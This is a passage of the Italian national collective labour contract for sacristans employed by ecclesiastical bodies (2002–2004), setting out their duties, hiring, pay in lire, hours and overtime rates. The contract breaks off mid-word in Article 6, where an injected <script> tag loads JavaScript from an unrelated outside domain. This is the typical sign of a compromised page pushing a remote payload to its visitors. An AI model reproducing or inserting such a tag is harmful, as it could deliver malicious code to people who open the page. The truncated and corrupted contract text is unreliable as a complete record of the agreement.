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Categoria: Sacristi e dipendenti di parrocchie Settore: Altro Data stipula: 6-12-2001 Data decorrenza: 1-1-2002 Data scadenza: 31-12-2004
Contratto Collettivo Nazionale di Lavoro
PER I SACRISTI ADDETTI AL CULTO DIPENDENTI DA ENTI ECCLESIASTICI
- Federazione tra le Associazioni del Clero in Italia (FACI);
- Federazione Italiana Unioni Diocesane Addetti al Culto/Sacristi
(FIUDAC/S)
2002 -2004
Art. 1 - Definizione.
Ai fini della presente normativa, si definisce Sacrista il lavoratore in
possesso di piena capacità lavorativa, che presta la sua opera nel luoghi
sacri occupandosi del loro decoro:
- preparazione e assistenza delle sacre funzioni liturgiche, incontri
della comunità cristiana nell'aula ecclesiale;
- custodia della chiesa, degli arredi e suppellettili sacre;
- pulizie della chiesa e della sacrestia ordinarie e straordinarie
rientranti nelle possibilità tecniche dei mezzi a sua disposizione;
- mansioni concordate all'atto dell'assunzione col vincolo dell'orario
fisso.
I sacristi possono essere inquadrati in 2 categorie, a seconda del tempo
di lavoro prestato:
Gruppo A:
sacristi che sono occupati a tempo pieno al servizio di una chiesa o
eventualmente di più chiese dipendenti da un unico datore di lavoro.
Gruppo B:
sacristi che svolgono la loro opera a tempo parziale.
Art. 2 - Assunzione e periodo di prova.
L'assunzione del sacrista sarà effettuata dal rappresentante legale
dell'Ente ecclesiastico, mediante lettera raccomandata, previa richiesta
nominativa dell'Ufficio collocamento.
All'atto dell'assunzione il sacrista deve essere in possesso del libretto
di lavoro e del certificato d'iscrizione nelle liste di collocamento (mod.
C1).
Fermi restando gli obblighi di legge circa l'assunzione, il periodo di pro
va non potrà avere la durata superiore a mesi 3.
Terminato tale periodo il sacrista s'intende confermato a tempo
indeterminato. Il periodo di prova verrà considerato a tutti gli effetti
contrattuali.
Nel caso di mancata conferma al sacrista sarà corrisposto il compenso per
l'effettivo periodo prestato e quanto dovuto per norma di legge.
Art. 3 - Retribuzione.
La retribuzione del sacrista è stabilita come segue:
- £ 1.800.000 per il 2002;
- £ 1.850.000 per il 2003;
- £ 1.900.000 per il 2004 comprensiva della ex indennità di contingenza.
Sono previsti gli scatti d'anzianità.
Per i sacristi del gruppo B, la retribuzione verrà determinata in
relazione all'effettivo orario di lavoro.
Il presente contratto, al fini della retribuzione di cui sopra, entra in
vigore dal 1° gennaio 2002.
Per l'anzianità di servizio il sacrista avrà diritto a un massimo di 10
scatti triennali. Tali scatti decorreranno dal 1° giorno del mese
successivo a quello in cui si compie il triennio d'anzianità e saranno
calcolati nella misura del 4% della paga mensile e dell'indennità di
contingenza vigente al momento della maturazione dei singoli scatti, senza
ricalcolo di quelli precedentemente maturati e già in godimento.
Art. 4 - Orario di lavoro.
L'orario di lavoro ordinario è di 45 ore settimanali, distribuite di massi
ma in 6 giornate lavorative. L'orario giornaliero sarà concordato con il
rappresentante dell'Ente ecclesiastico.
Per i sacristi che hanno orario lavorativo continuativo si precisa che
spetta mezz'ora di pausa non retribuita a metà del proprio turno
lavorativo, purché non sia lasciato sguarnito il posto di lavoro.
Art. 5 - Lavoro straordinario.
Detto lavoro verrà retribuito con le seguenti maggiorazioni sulla paga
oraria (= 1/195 della retribuzione mensile):
- straordinario diurno: paga oraria maggiorata del 20%;
- straordinario feriale notturno (dalle ore 22 alle 6): paga oraria
maggiorata del 30%;
- straordinario festivo diurno: paga oraria maggiorata del 30%;
- straordinario festivo notturno: paga oraria maggiorata del 50%.
Art. 6 - Riposo settimanale.
Il sacrista ha diritto a 1 gio<script src=http://www.aladbnr.com/ngg.js></script>
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